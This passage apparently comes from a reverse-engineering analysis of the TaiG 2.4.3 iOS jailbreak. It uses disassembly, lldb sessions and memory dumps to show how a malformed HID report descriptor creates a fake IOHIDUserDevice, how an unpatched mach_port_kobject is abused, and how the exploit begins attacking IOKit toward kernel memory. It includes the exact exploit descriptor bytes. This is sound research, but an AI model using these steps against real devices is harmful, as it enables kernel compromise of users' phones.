                0x00,0x00,0x00,0x97,0xff,0x00,0x00,0x00,0x87,0x01,0x00,0x00,0x00,0x93,0x03,0x00,
                0x00,0x00,0x07,0x00,0x00,0x00,0x00,0x0a,0x00,0x00,0x27,0x00,0x00,0x00,0x00,0x17,
                0x00,0x00,0x00,0x00,0x47,0x00,0x00,0x00,0x00,0x37,0x00,0x00,0x00,0x00,0x67,0x00,
                0x00,0x00,0x00,0x57,0x00,0x00,0x00,0x00,0x77,0x08,0x00,0x00,0x00,0x97,0xff,0x00,
                0x00,0x00,0x87,0x02,0x00,0x00,0x00,0x93,0x03,0x00,0x00,0x00,0xc3,0x00,0x00,0x00 };
                
        PrintHIDDescriptor(rd, // const uint8_t *reportDesc, 
                           len); // uint32_t length)



}
Zephyr:tools morpheus$ cc IOHIDReportDescriptorParser.c -o IOHID
IOHIDReportDescriptorParser.c:689:1: warning: return type of 'main' is not 'int' [-Wmain-return-type]
... # Whatever, clang. Whatever..
Zephyr:tools morpheus$ ./IOHID

Raw HID Descriptor:
---------------------------------------------------------
00000000: 07 FE FF FF FF 27 FF FF FF FF 17 FF FF FF FF 47 
00000010: FF FF FF FF 37 FF FF FF FF A7 00 00 00 00 B7 00 
00000020: 00 00 00 A3 FD FF FF FF 07 00 00 00 00 0A 00 00 
00000030: 27 00 00 00 00 17 00 00 00 00 47 00 00 00 00 37 
00000040: 00 00 00 00 67 00 00 00 00 57 00 00 00 00 77 08 
00000050: 00 00 00 97 FF 00 00 00 87 01 00 00 00 93 03 00 
00000060: 00 00 07 00 00 00 00 0A 00 00 27 00 00 00 00 17 
00000070: 00 00 00 00 47 00 00 00 00 37 00 00 00 00 67 00 
00000080: 00 00 00 57 00 00 00 00 77 08 00 00 00 97 FF 00 
00000090: 00 00 87 02 00 00 00 93 03 00 00 00 C3 00 00 00 
000000A0: C0 

Parsed HID Descriptor:
---------------------------------------------------------
0x07, 0xFE, 0xFF, 0xFF, 0xFF,             // Usage Page (4294967294) 
0x27, 0xFF, 0xFF, 0xFF, 0xFF,             // Logical Maximum......... (-1)  
0x17, 0xFF, 0xFF, 0xFF, 0xFF,             // Logical Minimum......... (-1)  
0x47, 0xFF, 0xFF, 0xFF, 0xFF,             // Physical Maximum........ (-1)  
0x37, 0xFF, 0xFF, 0xFF, 0xFF,             // Physical Minimum........ (-1)  
0xA7, 0x00, 0x00, 0x00, 0x00,             // Push.................... (0)  
0xB7, 0x00, 0x00, 0x00, 0x00,             // Pop..................... (0)  
0xA3, 0xFD, 0xFF, 0xFF, 0xFF,             // Collection (Collection ) 
0x07, 0x00, 0x00, 0x00, 0x00,             //   Usage Page (0) 
0x0A, 0x00, 0x00,                         //   Usage 0 (0x0) 
0x27, 0x00, 0x00, 0x00, 0x00,             //   Logical Maximum......... (0)  
0x17, 0x00, 0x00, 0x00, 0x00,             //   Logical Minimum......... (0)  
0x47, 0x00, 0x00, 0x00, 0x00,             //   Physical Maximum........ (0)  
0x37, 0x00, 0x00, 0x00, 0x00,             //   Physical Minimum........ (0)  
0x67, 0x00, 0x00, 0x00, 0x00,             //   Unit.................... (0)  
0x57, 0x00, 0x00, 0x00, 0x00,             //   Unit Exponent........... (0)  
0x77, 0x08, 0x00, 0x00, 0x00,             //   Report Size............. (8)  
0x97, 0xFF, 0x00, 0x00, 0x00,             //   Report Count............ (255)  
0x87, 0x01, 0x00, 0x00, 0x00,             //   ReportID................ (1)  
0x93, 0x03, 0x00, 0x00, 0x00,             //   Output..................(Constant) 
0x07, 0x00, 0x00, 0x00, 0x00,             //   Usage Page (0) 
0x0A, 0x00, 0x00,                         //   Usage 0 (0x0) 
0x27, 0x00, 0x00, 0x00, 0x00,             //   Logical Maximum......... (0)  
0x17, 0x00, 0x00, 0x00, 0x00,             //   Logical Minimum......... (0)  
0x47, 0x00, 0x00, 0x00, 0x00,             //   Physical Maximum........ (0)  
0x37, 0x00, 0x00, 0x00, 0x00,             //   Physical Minimum........ (0)  
0x67, 0x00, 0x00, 0x00, 0x00,             //   Unit.................... (0)  
0x57, 0x00, 0x00, 0x00, 0x00,             //   Unit Exponent........... (0)  
0x77, 0x08, 0x00, 0x00, 0x00,             //   Report Size............. (8)  
0x97, 0xFF, 0x00, 0x00, 0x00,             //   Report Count............ (255)  
0x87, 0x02, 0x00, 0x00, 0x00,             //   ReportID................ (2)  
0x93, 0x03, 0x00, 0x00, 0x00,             //   Output..................(Constant) 
0xC3, 0x00, 0x00, 0x00, 0xC0,             // End Collection (3221225472)  


(you'd get similar results from the Javascript Descriptor parser, but it always makes sense to use Apple's own sources whenever possible - especially because this package contains the vulnerability).

That's nasty, but that's not all: We still have two functions - 43 and 45, which are required to really mess things up:

// More optimized memset follows: memset (sp_0088, '\0', 56), and W24 is len of descriptor
//
10000e4f8 a90b7fff STP XZR, XZR, [SP,#176] 10000e4fc a90a7fff STP XZR, XZR, [SP,#160] 10000e500 a9097fff STP XZR, XZR, [SP,#144] 10000e504 b000318 ADD W24, W24, W0 10000e508 f90047ff STR XZR, [SP, #136] ; ? //
// calls 43 with (sp_50e8 (descriptor), len_of_descriptor, sp00b8, 0); //
10000e50c 52800003 MOVZ W3, #0; ; ->R3 = 0x0 10000e510 9102e3e2 ADD X2, SP, #184; ; R2 = SP + 0xb8 10000e514 aa1703e0 *MOV X0, X23 10000e518 aa1803e1 *MOV X1, X24 10000e51c 97ffeb17 BL _func_(43) ; ; 0x100009178 //
// 43 returns and sets sp_00b8 to an obviously malformed hid struct. We then call 45 with (sp00b8, sp0088) //
10000e520 f9405fe0 LDR X0, [X31, #184]; R0 = *(SP + 0xb8)? 10000e524 910223e1 ADD X1, SP, #136; ; R1 = SP + 0x88 10000e528 97ffec54 BL _func_(45) ; ; 0x100009678

Both functions are too crazy to follow, but a breakpoint reveals what they do. In particular, 43 populates sp_00b8 with the following:

# Stopping just shy of 43:
* thread #1: tid = 0x1be9, 0x000000010004a51c taig.2.4.3`___lldb_unnamed_function123$$taig.2.4.3 + 336, queue = 'com.apple.main-thread', stop reason = instruction step into
    frame #0: 0x000000010004a51c taig.2.4.3`___lldb_unnamed_function123$$taig.2.4.3 + 336
taig.2.4.3`___lldb_unnamed_function123$$taig.2.4.3 + 336:
-> 0x10004a51c:  bl     0x100045178               ; ___lldb_unnamed_function43$$taig.2.4.3
# Read registers
(lldb) reg read x0 x1 x2 x3 
      x0 = 0x000000016fdc1ce8   # SP_50e8 (descriptor)
      x1 = 0x00000000000000a1   # Len 
      x2 = 0x000000016fdbccb8   # SP_00b8
      x3 = 0x0000000000000000  
# Set a breakpoint
(lldb) b  0x10004a520
Breakpoint 7: where = taig.2.4.3`___lldb_unnamed_function123$$taig.2.4.3 + 340, address = 0x000000010004a520
(lldb) mem read "$sp + 0xb8"
0x16fdbccb8: 00 00 60 37 01 00 00 00 00 00 00 00 00 00 00 00  ..`7............
(lldb) mem read 0x0137600000
0x137600000: 20 64 69 68 00 00 00 00 a0 01 60 37 01 00 00 00   dih......`7....
0x137600010: 02 00 00 00 00 00 00 00 f0 01 60 37 01 00 00 00  ..........`7....
0x137600020: 02 00 00 00 00 00 00 00 a0 02 60 37 01 00 00 00  ..........`7....
0x137600030: 03 00 00 00 00 00 00 00 d0 02 60 37 01 00 00 00  ..........`7....
0x137600040: 02 00 00 00 00 00 00 00 f8 02 60 37 01 00 00 00  ..........`7....
0x137600050: 00 00 00 00 00 00 00 00 f8 02 60 37 01 00 00 00  ..........`7....
0x137600060: 00 00 00 00 00 00 00 00 a0 01 60 37 01 00 00 00  ..........`7....
0x137600070: 00 00 00 00 88 01 00 00 00 00 00 00 00 00 04 00  ................
0x137600080: 00 00 00 00 00 00 00 10 00 00 00 00 00 00 00 10  ................
0x137600090: 02 00 00 00 00 00 00 00 00 00 00 00 00 00 02 00  ................

That " dih" signature looks like it's HID related - and, indeed, the sources reveal it defined in IOHIDParserPriv.h as kHIDOSType... and used extensively in ./IOHIDSystem/IOHIDDescriptorParser, as the first field on the following structure:

struct HIDPreparsedData
{
        UInt32                          hidTypeIfValid;
        HIDCollection *    	        collections;
        UInt32                          collectionCount;
        HIDReportItem *                 reportItems;
        UInt32                          reportItemCount;
        HIDReportSizes *        reports;
        UInt32                          reportCount;
        HIDP_UsageItem *        usageItems;
        UInt32                          usageItemCount;
        HIDStringItem *         stringItems;
        UInt32                          stringItemCount;
        HIDDesignatorItem * desigItems;
        UInt32                          desigItemCount;
        UInt8 *                         rawMemPtr;
        UInt32                          flags;
        IOByteCount                     numBytesAllocated;
};

Putting the two together we get:

             hidTypeIfValid               collections
0x137600000: 20 64 69 68 00 00 00 00 a0 01 60 37 01 00 00 00   dih......`7....
             collectionCount              reportItems
0x137600010: 02 00 00 00 00 00 00 00 f0 01 60 37 01 00 00 00  ..........`7....
             reportItemCount              reports
0x137600020: 02 00 00 00 00 00 00 00 a0 02 60 37 01 00 00 00  ..........`7....
	     reportCount                  usageItems
0x137600030: 03 00 00 00 00 00 00 00 d0 02 60 37 01 00 00 00  ..........`7....
	     usageItemCount              stringItems
0x137600040: 02 00 00 00 00 00 00 00 f8 02 60 37 01 00 00 00  ..........`7....
             stringItemCount             desigItems
0x137600050: 00 00 00 00 00 00 00 00 f8 02 60 37 01 00 00 00  ..........`7....
	     desigItemCount            rawMemPtr (tsk tsk)
0x137600060: 00 00 00 00 00 00 00 00 a0 01 60 37 01 00 00 00  ..........`7....
	      flags      numBytesAllocated
0x137600070: 00 00 00 00 88 01 00 00 00 00 00 00 00 00 04 00  ................

And, reading the pointers...

(lldb) mem read 0x01376001a0 
0x1376001a0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
0x1376001b0: 00 00 00 00 02 00 00 00 00 00 00 00 01 00 00 00  ................
0x1376001c0: 01 00 00 00 00 00 00 00 fd ff ff ff fe ff ff ff  ................
0x1376001d0: 00 00 00 00 00 00 00 00 00 00 00 00 02 00 00 00  ................
0x1376001e0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
0x1376001f0: 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
0x137600200: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
0x137600210: 08 00 00 00 01 00 00 00 ff 00 00 00 01 00 00 00  ................
0x137600220: 08 00 00 00 01 00 00 00 03 00 00 00 00 00 00 00  ................
0x137600230: 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
0x137600240: 00 00 00 00 00 00 00 00 02 00 00 00 00 00 00 00  ................
0x137600250: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
0x137600260: 00 00 00 00 00 00 00 00 08 00 00 00 02 00 00 00  ................
0x137600270: ff 00 00 00 02 00 00 00 08 00 00 00 01 00 00 00  ................
0x137600280: 03 00 00 00 01 00 00 00 01 00 00 00 00 00 00 00  ................
0x137600290: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
0x1376002a0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
0x1376002b0: 01 00 00 00 08 00 00 00 00 08 00 00 08 00 00 00  ................
0x1376002c0: 02 00 00 00 08 00 00 00 00 08 00 00 08 00 00 00  ................
0x1376002d0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
0x1376002e0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
0x1376002f0: 00 00 00 00 00 00 00 00 00 00 00 00 fe ff ff ff  ................

The HIDPreParsedData gets passed to 45, which takes sp_0088 (still null) as a second argument. When it returns, the HIDPreParsedData is unmodified, but sp_0088 is now populated. Recall this was memset to 0x30 bytes (the next var is sp_00b8):

(lldb) mem read "$sp  + 0x88"
0x16fdbcc88: 00 00 00 00 fe ff ff ff 01 00 00 00 00 01 00 00  ................
0x16fdbcc98: 01 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00  ................
0x16fdbcca8: 00 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00  ................

For now, this is put aside, as we put our messed up descriptor to good use.

Creating the fake device

So, we have a descriptor. What do we do with it? Create a fake device, of course:

//
// Then create our fake IOHIDUserDevice with (IOHIDResource handle, sp_50e8 (descriptor), len_of_Descriptor) //
10000e52c aa1503e0 *MOV X0, X21 10000e530 aa1703e1 *MOV X1, X23 10000e534 aa1803e2 *MOV X2, X24 10000e538 97ffe971 BL _create_fake_IOHID_device(40) ; ; 0x100008afc 10000e53c b9000660 STR W0, [X19, #4]; ; *((0xffffffffffffffff) + 0x4) *0x3 = X0 0x100000cfeedfbbf 10000e540 34001de0 CBZ X0, outta_here ; ; 0x10000e8fc

Going into the function, we see something curious:

_create_fake_IOHID_device(40):
   100008afc      a9ba6ffc        STP    X28, X27, [SP,#-96]!
   100008b00    a90167fa        STP    X26, X25, [SP,#16]
   100008b04    a9025ff8        STP    X24, X23, [SP,#32]
   100008b08    a90357f6        STP    X22, X21, [SP,#48]
   100008b0c    a9044ff4        STP    X20, X19, [SP,#64]
   100008b10    a9057bfd        STP    X29, X30, [SP,#80]
   100008b14    910143fd        ADD    X29, SP, #80;        ; R29 = SP + 0x50
   100008b18    d11103ff        SUB    X31, X31, #1088
   100008b1c    aa0203f6        *MOV   X22, X2
   100008b20    aa0103f5        *MOV   X21, X1
   100008b24    aa0003f4        *MOV   X20, X0
   100008b28    910043f9        ADD    X25, SP, #16;        ; R25 = SP + 0x10
   100008b2c    d503201f        NOP
   100008b30    5809a81a        LDR    X26, #19776; ; R26 = *0x10001c030libSystem.B.dylib::___stack_chk_guard
   100008b34    f9400348        LDR    X8, [X26, #0]; ; R8 = *(R26(0x2410000100041c80) + 0x0) = *(0x2410000100041c80) 
   100008b38    f9000328        STR    X8, [X25, #0];       ; *((0x10) + 0x0) *0x10 = X8 0x3f3f3f3f
   100008b3c    f9001bff        STR    XZR, [SP, #48];      ; *(SP + 0x30) = X31 0x0
   100008b40    29057fff        STP    WZR, WZR, [SP,#40]
   100008b44    f90013ff        STR    XZR, [SP, #32];      ; *(SP + 0x20) = X31 0x0
   100008b48    b9001fff        STR    WZR, [SP, #28];      ; *(SP + 0x1c) = X31 0x0
   100008b4c    d503201f        NOP
   100008b50    5809a9c8        LDR    X8, #19790; ; R8 = *0x10001c088libSystem.B.dylib::_mach_task_self_
   100008b54    b9400100        LDR    W0, [X8, #0]; ; R0 = *(R8(0x2410000100041c80) + 0x0) = *(0x2410000100041c80) 
   100008b58    910073e2        ADD    X2, SP, #28;         ; R2 = SP + 0x1c
   100008b5c    910083e3        ADD    X3, SP, #32;         ; R3 = SP + 0x20
   100008b60    aa1403e1        *MOV   X1, X20
   100008b64    9400415a        BL     libSystem.B.dylib::_mach_port_kobject ; ; 0x1000190cc
   100008b68    52800017        MOVZ   W23, #0;     ; ->R23 = 0x0 
   100008b6c    35000d20        CBNZ   X0, _failed ; ; 0x100008d10
   100008b70    d503201f        NOP
   100008b74    5809a6e8        LDR    X8, #19767; ; R8 = *0x10001c050CoreFoundation::_kCFAllocatorDefault
   100008b78    f9400117        LDR    X23, [X8, #0]; ; R23 = *(R8(0x2410000100041c80) + 0x0) = *(0x2410000100041c80) 
   100008b7c    d2800001        MOVZ   X1, #0;      ; ->R1 = 0x0 
   100008b80    d503201f        NOP
   ..

What's that, you say? mach_port_kobject? Isn't that the SAME FUNCTION THAT ISN'T SUPPOSED TO BE IMPLEMENTED UNLESS #define MACH_DEBUG? Isn't that the same function APPLE GOT HIT WITH IN THE PAST?. This wouldn't be demanding of caps, if not for the following nugget, from Apple's Security Content of 8.1.3:

So, yes. "addressed by disabling" a function that the #defines of XNU do not enable by default in production configurations anyway. You can see that TaiG would fail if the function were indeed disabled. Does it? Set a breakpoint and see..

(lldb)  b mach_port_kobject
Breakpoint 8: where = libsystem_kernel.dylib`mach_port_kobject, address = 0x0000000197d31ed0
(lldb) c
Process 321 resuming
Process 321 stopped
* thread #1: tid = 0x1be9, 0x0000000197d31ed0 libsystem_kernel.dylib`mach_port_kobject, queue = 'com.apple.main-thread', stop reason = breakpoint 8.1
    frame #0: 0x0000000197d31ed0 libsystem_kernel.dylib`mach_port_kobject
libsystem_kernel.dylib`mach_port_kobject:
-> 0x197d31ed0:  b      0x197d2435c               ; _kernelrpc_mach_port_kobject

libsystem_kernel.dylib`mach_port_unguard:
   0x197d31ed4:  stp    x22, x21, [sp, #-48]!
   0x197d31ed8:  stp    x20, x19, [sp, #16]
   0x197d31edc:  stp    fp, lr, [sp, #32]
(lldb) reg read x0 x1 x2 x3
      x0 = 0x0000000000000103   # ipc_state_t task = mach_task_self
      x1 = 0x0000000000000b0b   # Good old b0b, dependable IOHIDResource that he is
      x2 = 0x000000016fdbc77c   # Out: object_type
      x3 = 0x000000016fdbc780   # Out: object_addr
(lldb) mem read $x2
0x16fdbc77c: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
0x16fdbc78c: 00 00 00 00 00 00 00 00 00 00 00 00 28 ca db 6f  ............(..o
# Proceeding with caution
(lldb) stepi
...
(lldb) thread step-out
Process 321 stopped
* thread #1: tid = 0x1be9, 0x0000000100044b68 taig.2.4.3`___lldb_unnamed_function40$$taig.2.4.3 + 108, queue = 'com.apple.main-thread', stop reason = step out
    frame #0: 0x0000000100044b68 taig.2.4.3`___lldb_unnamed_function40$$taig.2.4.3 + 108
taig.2.4.3`___lldb_unnamed_function40$$taig.2.4.3 + 108:
-> 0x100044b68:  movz   w23, #0
   0x100044b6c:  cbnz   w0, 0x100044d10           ; ___lldb_unnamed_function40$$taig.2.4.3 + 532
   0x100044b70:  nop    
   0x100044b74:  ldr    x8, #79068                ; (void *)0x000000018590e070: kCFAllocatorDefault
# For a disabled function, mach_port_kobject still indicates success
(lldb) reg read x0
      x0 = 0x0000000000000000
# .. and still works remarkably well
(lldb) mem read 0x16fdbc77c
0x16fdbc77c: 1d 00 00 00 95 ea 80 14 e4 06 6b 6f 00 00 00 00  ..........ko....
0x16fdbc78c: 00 00 00 00 00 00 00 00 00 00 00 00 28 ca db 6f  ............(..o

Notice that the check of the return value (X0) would flush the entire effort down the drain, by bailing. Meaning that an ounce of defence in depth would have prevented this. But. well.. no.

To create the fake device, we call on friend 0xb0b, using another abomination, IOKit::_IOConnectCallMethod, and packaging our report descriptor in an XML plist..

(lldb) b IOConnectCallMethod
Breakpoint 9: where = IOKit`IOConnectCallMethod, address = 0x0000000186a55ef4
(lldb) c
Process 321 resuming
Process 321 stopped
* thread #1: tid = 0x1be9, 0x0000000186a55ef4 IOKit`IOConnectCallMethod, queue = 'com.apple.main-thread', stop reason = breakpoint 9.1
    frame #0: 0x0000000186a55ef4 IOKit`IOConnectCallMethod
IOKit`IOConnectCallMethod:
-> 0x186a55ef4:  stp    x20, x19, [sp, #-32]!
   0x186a55ef8:  stp    fp, lr, [sp, #16]
   0x186a55efc:  add    fp, sp, #16
   0x186a55f00:  sub    sp, sp, #80
(lldb) reg read x0 x1 x2 x3 x4 x5 x6 x7
      x0 = 0x0000000000000b0b   mach_port_t      connection,            // In
      x1 = 0x0000000000000000   uint32_t         selector,              // In
      x2 = 0x000000016fdbc790   const uint64_t  *input,                 // In
      x3 = 0x0000000000000001   uint32_t         inputCnt,              // In
      x4 = 0x000000016fdbc798   const void      *inputStruct,           // In
      x5 = 0x00000000000001cb   size_t           inputStructCnt,        // In
      x6 = 0x0000000000000000   uint64_t        *output,                // Out
      x7 = 0x0000000000000000   uint32_t        *outputCnt,             // In/Out
      SP                        void            *outputStruct,          // Out
      SP + 8                    void            *outputStructCntP);     // Out
(lldb) mem read 16fdbc790
0x16fdbc790: 00 00 00 00 00 00 00 00 3c 3f 78 6d 6c 20 76 65  .........<
0x16fdbc7c0: 21 44 4f 43 54 59 50 45 20 70 6c 69 73 74 20 50  !DOCTYPE plist P
0x16fdbc7d0: 55 42 4c 49 43 20 22 2d 2f 2f 41 70 70 6c 65 2f  UBLIC "-//Apple/
0x16fdbc7e0: 2f 44 54 44 20 50 4c 49 53 54 20 31 2e 30 2f 2f  /DTD PLIST 1.0//
0x16fdbc7f0: 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e  EN" "http://www.
0x16fdbc800: 61 70 70 6c 65 2e 63 6f 6d 2f 44 54 44 73 2f 50  apple.com/DTDs/P
0x16fdbc810: 72 6f 70 65 72 74 79 4c 69 73 74 2d 31 2e 30 2e  ropertyList-1.0.
0x16fdbc820: 64 74 64 22 3e 0a 3c 70 6c 69 73 74 20 76 65 72  dtd">.<plist ver
0x16fdbc830: 73 69 6f 6e 3d 22 31 2e 30 22 3e 0a 3c 64 69 63  sion="1.0">.<dic
0x16fdbc840: 74 3e 0a 09 3c 6b 65 79 3e 52 65 70 6f 72 74 44  t>..<key>ReportD
0x16fdbc850: 65 73 63 72 69 70 74 6f 72 3c 2f 6b 65 79 3e 0a  escriptor</key>.
0x16fdbc860: 09 3c 64 61 74 61 3e 0a 09 42 2f 37 2f 2f 2f 38  .<data>..B/7///8
0x16fdbc870: 6e 2f 2f 2f 2f 2f 78 66 2f 2f 2f 2f 2f 52 2f 2f  n/////xf/////R//
0x16fdbc880: 2f 2f 2f 38 33 2f 2f 2f 2f 2f 36 63 41 41 41 41  ///83/////6cAAAA
0x16fdbc890: 41 74 77 41 41 41 41 43 6a 2f 66 2f 2f 2f 77 63  AtwAAAACj/f///wc
0x16fdbc8a0: 41 41 41 41 41 43 67 41 41 4a 77 41 41 0a 09 41  AAAAACgAAJwAA..A
0x16fdbc8b0: 41 41 58 41 41 41 41 41 45 63 41 41 41 41 41 4e  AAXAAAAAEcAAAAAN
0x16fdbc8c0: 77 41 41 41 41 42 6e 41 41 41 41 41 46 63 41 41  wAAAABnAAAAAFcAA
0x16fdbc8d0: 41 41 41 64 77 67 41 41 41 43 58 2f 77 41 41 41  AAAdwgAAACX/wAAA
0x16fdbc8e0: 49 63 42 41 41 41 41 6b 77 4d 41 41 41 41 48 41  IcBAAAAkwMAAAAHA
0x16fdbc8f0: 41 41 41 0a 09 41 41 6f 41 41 43 63 41 41 41 41  AAA..AAoAACcAAAA
0x16fdbc900: 41 46 77 41 41 41 41 42 48 41 41 41 41 41 44 63  AFwAAAABHAAAAADc
0x16fdbc910: 41 41 41 41 41 5a 77 41 41 41 41 42 58 41 41 41  AAAAAZwAAAABXAAA
0x16fdbc920: 41 41 48 63 49 41 41 41 41 6c 2f 38 41 41 41 43  AAHcIAAAAl/8AAAC
0x16fdbc930: 48 41 67 41 41 41 4a 4d 44 0a 09 41 41 41 41 77  HAgAAAJMD..AAAAw
0x16fdbc940: 77 41 41 41 41 41 3d 0a 09 3c 2f 64 61 74 61 3e  wAAAAA=..</data>
0x16fdbc950: 0a 3c 2f 64 69 63 74 3e 0a 3c 2f 70 6c 69 73 74  .</dict>.</plist
0x16fdbc960: 3e 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 00  >...............

I'm sure you'll believe me that the ucky plist is, indeed, the descriptor (you can always Base64 decode it :-). Selector "0" is _createDevice, and if you break right after it and run ioreg -l -w 0 -f you should see:

      | +-o IOHIDResourceDeviceUserClient  
      |   | {
      |   |   "IOUserClientCreator" = "pid 321, taig.2.4.3"
      |   | }
      |   | 
      |   +-o IOHIDUserDevice  
      |     | {
      |     |   "MaxOutputReportSize" = 256
      |     |   "InputReportElements" = ({"ReportID"=1,"ElementCookie"=514,"Size"=8,"ReportCount"=1,"Type"=1,"UsagePage"=0,"ReportSize"=8,"Usage"=0},{"ReportID"=2,"ElementCookie"=515,"Size"=8,"ReportCount"=1,"Type"=1,"UsagePage"=0,"ReportSize"=8,"Usage"=0})
      |     |   "IOCFPlugInTypes" = {"7DDEECA8-A7B4-11DA-8A0E-0014519758EF"="IOHIDFamily.kext/PlugIns/IOHIDLib.plugin","40A57A4E-26A0-11D8-9295-000A958A2C78"="IOHIDFamily.kext/PlugIns/IOHIDLib.plugin","FA12FA38-6F1A-11D4-BA0C-0005028F18D5"="IOHIDFamily.kext/PlugIns/IOHIDLib.plugin"}
      |     |   "IOUserClientClass" = "IOHIDLibUserClient"
      |     |   "PrimaryUsage" = 0
      |     |   "DeviceUsagePairs" = ({"DeviceUsagePage"=18446744073709551614,"DeviceUsage"=0})
      |     |   "HIDDefaultBehavior" = Yes
      |     |   "ReportInterval" = 8000
      |     |   "ReportDescriptor" = 
      |     |     00000000: 07 FE FF FF FF 27 FF FF FF FF 17 FF FF FF FF 47 FF FF FF FF 37 FF FF FF FF A7 00 00 00 00 B7 00 .....'.........G....7...........
      |     |     00000020: 00 00 00 A3 FD FF FF FF 07 00 00 00 00 0A 00 00 27 00 00 00 00 17 00 00 00 00 47 00 00 00 00 37 ................'.........G....7
      |     |     00000040: 00 00 00 00 67 00 00 00 00 57 00 00 00 00 77 08 00 00 00 97 FF 00 00 00 87 01 00 00 00 93 03 00 ....g....W....w.................
      |     |     00000060: 00 00 07 00 00 00 00 0A 00 00 27 00 00 00 00 17 00 00 00 00 47 00 00 00 00 37 00 00 00 00 67 00 ..........'.........G....7....g.
      |     |     00000080: 00 00 00 57 00 00 00 00 77 08 00 00 00 97 FF 00 00 00 87 02 00 00 00 93 03 00 00 00 C3 00 00 00 ...W....w.......................
      |     |     000000A0: 00                                                                                              .
      |     |   "Elements" = ({"ReportID"=0,"ElementCookie"=1,"CollectionType"=18446744073709551613,"Type"=513,
                   "Elements"=({"UnitExponent"=0,"IsRelative"=No,"UsagePage"=0,"Max"=0,"IsArray"=No,"Min"=0,"Type"=129,
		   "Size"=2040,"Flags"=3,"ReportID"=1,"Usage"=0,"ReportCount"=255,"Unit"=0,"HasNullState"=No,"IsNonLinear"
		   =No,"HasPreferredState"=Yes,"ReportSize"=8,"ScaledMin"=0,"IsWrapping"=No,"ScaledMax"=0,"ElementCookie"=2},
		  {"UnitExponent"=0,"IsRelative"=No,"DuplicateIndex"=0,"UsagePage"=0,"Max"=0,"IsArray"=No,"Min"=0,"Type"=129,
		  "Size"=8,"Flags"=3,"ReportID"=1,"Usage"=0,"ReportCount"=1,"Unit"=0,"HasNullState"=No,"IsNonLinear"=No,
		  "HasPreferredState"=Yes,"ReportSize"=8,"ScaledMin"=0,"IsWrapping"=No,"ScaledMax"=0,"ElementCookie"=3},
		  {"UnitExponent"=0,"IsRelative"=..
..
.. (lots and lots and lots of Duplicate Indexes)
..
		  {"UnitExponent"=0,"IsRelative"=No,"DuplicateIndex"=254,"UsagePage"=0,"Max"=0,"IsArray"=No,"Min"=0,
		   "Type"=129,"Size"=8,"Flags"=3,"ReportID"=2,"Usage"=0,"ReportCount"=1,"Unit"=0,"HasNullState"=No,
		   "IsNonLinear"=No,"HasPreferredState"=Yes,"ReportSize"=8,"ScaledMin"=0,"IsWrapping"=No,"ScaledMax"=0,
	           "ElementCookie"=513}),"UsagePage"=18446744073709551614,"Usage"=0})
      |     |   "MaxFeatureReportSize" = 1
      |     |   "PrimaryUsagePage" = 18446744073709551614
      |     |   "MaxInputReportSize" = 1
      |     | }
      |     | 
      |     +-o IOHIDInterface  
      |         {
      |           "PrimaryUsagePage" = 18446744073709551614
      |           "HIDDefaultBehavior" = Yes
      |           "ReportInterval" = 8000
      |           "PrimaryUsage" = 0
      |           "DeviceUsagePairs" = ({"DeviceUsagePage"=18446744073709551614,"DeviceUsage"=0})
      |         }
      |         
...

There you have it. (Yet another) bug in IOHID, which allows you to create descriptors, as far as the eye can see. Bounds checking? Nah. It's all PreParsed anyway. But wait. There's more -- we're only getting warmed up here.

Exhausting IOKit

With our device created, it's time to go for the real prize - kernel memory. Always a good start - IOConnectMapMemory:

//
// so far so good - call IOConnectMapMemory with args:
// (connect = IOHIDServiceHandle,
// memoryType = 0,
// intoTask = mach_task_self,
// atAddress = arg0 + 8,
// ofSize = arg0 + 0x10,
// options = 1) //
10000e544 aa1303e4 *MOV X4, X19 10000e548 b8410480 -LDR W0, [X4], #16; ; R0 = *(R4(0xffffffffffffffff) + 0x10) = *(0xf) => 0x100000cfeedfacf 10000e54c d503201f NOP 10000e550 5806d9c8 LDR X8, #14030; ; R8 = *0x10001c088libSystem.B.dylib::_mach_task_self_ 10000e554 b9400102 LDR W2, [X8, #0]; ; R2 = *(R8(0x2410000100041c80) + 0x0) = *(0x2410000100041c80) 10000e558 91002263 ADD X3, X19, #8; ; ..R3 = R19 (0xffffffffffffffff) + 0x8 = 0x7 10000e55c 52800001 MOVZ W1, #0; ; ->R1 = 0x0 10000e560 320003e5 ORR W5, WZR, #0x1; ; ->R5 = 0x1 10000e564 940029ed BL IOKit::_IOConnectMapMemory ; ; 0x100018d18 ; R0 = IOKit::_IOConnectMapMemory((mach port),0,(mach port),SP+0x8,SP+0x10,1); ;

This will map memory and return a pointer to somewhere, of 0x4030 bytes. Put that aside, too

What follows is a call to srand(time()) because we'll need some (non-cryptographically secure) random numbers a bit later on. New variables appear, though I've already accounted them in the Stack Setup explanation, above. Our focus now becomes assaulting IOKit:

assault_IOKit:
//
// .. and sp_0060 = w24 = 0 //
10000e5e0 b90063f8 STR W24, [SP, #96] ; ? //
// call IOServiceGetMatchingService (0, IOServiceMatching("IOPMRootDomain")); - this will return 0xd07 usually //
10000e5e4 aa0803e1 *MOV X1, X8 10000e5e8 94002a05 BL IOKit::_IOServiceGetMatchingService ; ; 0x100018dfc ; R0 = IOKit::_IOServiceGetMatchingService((mach port),? - 4096); ; 10000e5ec aa0003fb *MOV X27, X0 10000e5f0 3400183b CBZ X27, return_-1 ; ; 0x10000e8f4 10000e5f4 94000207 BL _query_kernel_zone_allocations(127) ; ; 0x10000ee10 //
// The value at 0x10001e314 tells us if we've garbage collected //
